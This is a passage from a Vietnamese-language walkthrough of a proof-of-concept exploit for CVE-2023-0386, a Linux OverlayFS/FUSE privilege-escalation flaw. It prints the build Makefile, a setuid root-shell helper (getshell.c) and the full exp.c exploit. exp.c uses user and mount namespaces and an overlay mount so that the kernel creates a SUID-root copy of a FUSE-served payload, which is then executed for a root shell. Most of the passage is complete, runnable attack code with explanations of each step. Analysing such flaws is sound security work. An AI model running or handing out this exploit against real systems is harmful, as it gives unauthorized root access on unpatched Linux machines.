(read(fd, content + clen, 1) > 0) clen++; close(fd); printf("[+] len of gc: 0x%x\n", clen); start_fuse(); rmdir(mount_path); return 0; } ``` Khi compile file **fuse.c** sẽ trở thành file thực thi **fuse** như ở trong **Makefile**: ```Makefile= all: gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl gcc -o exp exp.c -lcap gcc -o gc getshell.c clean: rm -rf exp gc fuse ``` Ta nhớ đến lệnh đầu của **POC**: ```c= ./fuse ./ovlcap/lower ./gc ``` Khi chạy `./fuse`, nó sẽ mount **FUSE** vào thư mục `/ovlcap/lower` và đọc nội dung của `./gc` chính là file thực thi build từ **getshell.c**: ```c= #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <err.h> #include <errno.h> #include <sched.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/mount.h> int main(int argc, char const *argv[]) { int ret; ret = setuid(0); if (ret < 0) { perror("setuid"); return -1; } ret = setgid(0); if (ret < 0) { perror("setgid"); return -1; } system("/bin/bash"); return 0; } ``` **getshell.c** có nhiệm vụ mở 1 shell có UID=0(root), có nhóm sở hữu(GID=0) cũng là của root. Phần trên là giải thích cho luồng hoạt động của terminal 1. Terminal thứ 2 sẽ chạy file thực thi `./exp` build từ **exp.c** trong Makefile: ```c= #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <err.h> #include <errno.h> #include <sched.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/mount.h> #include <sys/capability.h> // #include <attr/xattr.h> // #include <sys/xattr.h> int setxattr(const char *path, const char *name, const void *value, size_t size, int flags); #define DIR_BASE "./ovlcap" #define DIR_WORK DIR_BASE "/work" #define DIR_LOWER DIR_BASE "/lower" #define DIR_UPPER DIR_BASE "/upper" #define DIR_MERGE DIR_BASE "/merge" #define BIN_MERGE DIR_MERGE "/magic" #define BIN_UPPER DIR_UPPER "/magic" static void xmkdir(const char *path, mode_t mode) { if (mkdir(path, mode) == -1 && errno != EEXIST) err(1, "mkdir %s", path); } static void xwritefile(const char *path, const char *data) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "open %s", path); ssize_t len = (ssize_t)strlen(data); if (write(fd, data, len) != len) err(1, "write %s", path); close(fd); } static void xreadfile(const char *path) { int fd = open(path, O_RDONLY); if (fd == -1) err(1, "open %s", path); int len = 0; char data[0x100]; while (read(fd, data + len, 1) > 0) { len++; } data[len] = '\0'; puts(data); printf("len %d\n", len); close(fd); } void listCaps() { cap_t caps = cap_get_proc(); ssize_t y = 0; printf("The process %d was give capabilities %s\n", (int)getpid(), cap_to_text(caps, &y)); fflush(0); cap_free(caps); } static int exploit() { // init work; char buf[4096]; sprintf(buf, "rm -rf '%s/*'", DIR_UPPER); system(buf); xmkdir(DIR_BASE, 0777); xmkdir(DIR_WORK, 0777); xmkdir(DIR_LOWER, 0777); xmkdir(DIR_UPPER, 0777); xmkdir(DIR_MERGE, 0777); // mount overlay uid_t uid = getuid(); gid_t gid = getgid(); printf("uid:%d gid:%d\n", uid, gid); if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1) err(1, "unshare"); xwritefile("/proc/self/setgroups", "deny"); sprintf(buf, "0 %d 1", uid); xwritefile("/proc/self/uid_map", buf); sprintf(buf, "0 %d 1", gid); xwritefile("/proc/self/gid_map", buf); sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK); if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1) err(1, "mount %s", DIR_MERGE); else puts("[+] mount success"); sprintf(buf, "ls -la %s", DIR_MERGE); system(buf); sprintf(buf, "%s/file", DIR_MERGE); int fd = open(buf, O_WRONLY | O_CREAT, 0666); // touch file if (fd < 0) perror("open"); close(fd); // close fuse // kill(pid, SIGINT); return 0; } int main(int argc, char *argv[]) { int pid = fork(); int stat; if (pid == 0) { exploit(); exit(0); } wait(&stat); // get shell puts("[+] exploit success!"); char buf[0x100]; sprintf(buf, "%s/file", DIR_UPPER); system(buf); return 0; } ``` Đầu tiên nó định nghĩa các thư mục để mount **OverlayFS**: ```c= #define DIR_BASE "./ovlcap" #define DIR_WORK DIR_BASE "/work" #define DIR_LOWER DIR_BASE "/lower" #define DIR_UPPER DIR_BASE "/upper" #define DIR_MERGE DIR_BASE "/merge" #define BIN_MERGE DIR_MERGE "/magic" #define BIN_UPPER DIR_UPPER "/magic" ``` Sau đó sẽ dọn dẹp và tạo các thư mục cần thiết: * **rm -rf '%s/*', DIR_UPPER:** Đây là lệnh **quan trọng nhất** trong khối này. Nó xóa sạch thư mục upperdir. Điều này là bắt buộc, vì nếu file "mồi" (/file) đã tồn tại ở upperdir, thì lệnh touch` (ở cuối) sẽ chỉ cập nhật thời gian, và sẽ không kích hoạt Copy-on-Write. Phải xóa đi để CoW bị buộc phải xảy ra. * **xmkdir**(...): Tạo ra các thư mục lower, upper, work, merge mà OverlayFS cần. ```c= // init work; char buf[4096]; sprintf(buf, "rm -rf '%s/*'", DIR_UPPER); system(buf); xmkdir(DIR_BASE, 0777); xmkdir(DIR_WORK, 0777); xmkdir(DIR_LOWER, 0777); xmkdir(DIR_UPPER, 0777); xmkdir(DIR_MERGE, 0777); ``` Tiếp theo sẽ là tạo user namespace mới và mount namespace mới: ```c= uid_t uid = getuid(); gid_t gid = getgid(); // ... if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1) err(1, "unshare"); ``` * `CLONE_NEWUSER`: Tương đương `-r` (User Namespace). Nó tạo ra một "bong bóng" định danh mới. Bên trong bong bóng này, chúng ta có thể tự phong mình làm "root giả". * `CLONE_NEWNS`: Tương đương `-m` (Mount Namespace). Nó tạo ra một "sân chơi" mount riêng tư. Đây là nơi chúng ta được phép dùng quyền "root giả" của mình để mount mà không ảnh hưởng hệ thống thật. Nhưng khi sau khi **unshare** để tạo user namespace mới và mount namespace mới, chúng ta vẫn chưa là root. Phần code dưới sẽ ánh xạ UID và GID hiện tại vào namespace mới tạo có UID và GID đều = 0(root): ```c= xwritefile("/proc/self/setgroups", "deny"); sprintf(buf, "0 %d 1", uid); xwritefile("/proc/self/uid_map", buf); sprintf(buf, "0 %d 1", gid); xwritefile("/proc/self/gid_map", buf); ``` * **xwritefile**("/proc/self/uid_map", "0 1000 1") (giả sử uid của bạn là 1000): Lệnh này nói với Kernel: "Bên trong User Namespace mới này, hãy ánh xạ (map) UID 1000 thật ở bên ngoài thành UID 0 (root) ở bên trong." Bây giờ, chúng ta đã có cả "quyền" (root giả) và "sân chơi" (Mount NS), nên lệnh mount này sẽ thành công. ```c= sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK); if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1) err(1, "mount %s", DIR_MERGE); ``` * Nó gắn một hệ thống tệp OverlayFS lên thư mục **DIR_MERGE**. * lowerdir=%s (DIR_LOWER): Nó trỏ đến thư mục (./ovlcap/lower) nơi FUSE server (Terminal 1) đang chạy. * upperdir=%s (DIR_UPPER): Thư mục rỗng, có thể ghi (./ovlcap/upper), nơi file SUID thật sẽ được tạo ra. Sau khi mount xong, nó sẽ cố gắng tạo/ghi file tên là `file` vào thư mục merge. ```c= sprintf(buf, "%s/file", DIR_MERGE); int fd = open(buf, O_WRONLY | O_CREAT, 0666); // touch file if (fd < 0) perror("open"); close(fd); ``` **OverlayFS** thấy điều này và kích hoạt Copy-on-Write (CoW) vì file chỉ tồn tại ở lowerdir (do FUSE cung cấp). Kernel sẽ (Do Lỗi CVE-2023-0386): * Hỏi FUSE (Terminal 1) về thuộc tính của file (hàm getattr_callback chạy). * FUSE "nói dối": "File này là SUID root". * Hỏi FUSE về nội dung file (hàm read_callback chạy). * FUSE đưa nội dung payload shell. * Kernel tin lời nói dối và tạo ra một file thật trong **DIR_UPPER** với nội dung payload VÀ thuộc tính SUID root thật. Sau khi hàm `exploit()` này kết thúc, tiến trình con (child process) sẽ thoát. Tiến trình cha (parent) trong main() sẽ wait() xong, và nó chỉ việc chạy file (%s/file, DIR_UPPER) để lấy shell root. ```c= int main(int argc, char *argv[]) { int pid = fork(); int stat; if (pid == 0) { exploit(); exit(0); } wait(&stat); // get shell puts("[+] exploit success!"); char buf[0x100]; sprintf(buf, "%s/file", DIR_UPPER); system(buf); return 0; } ```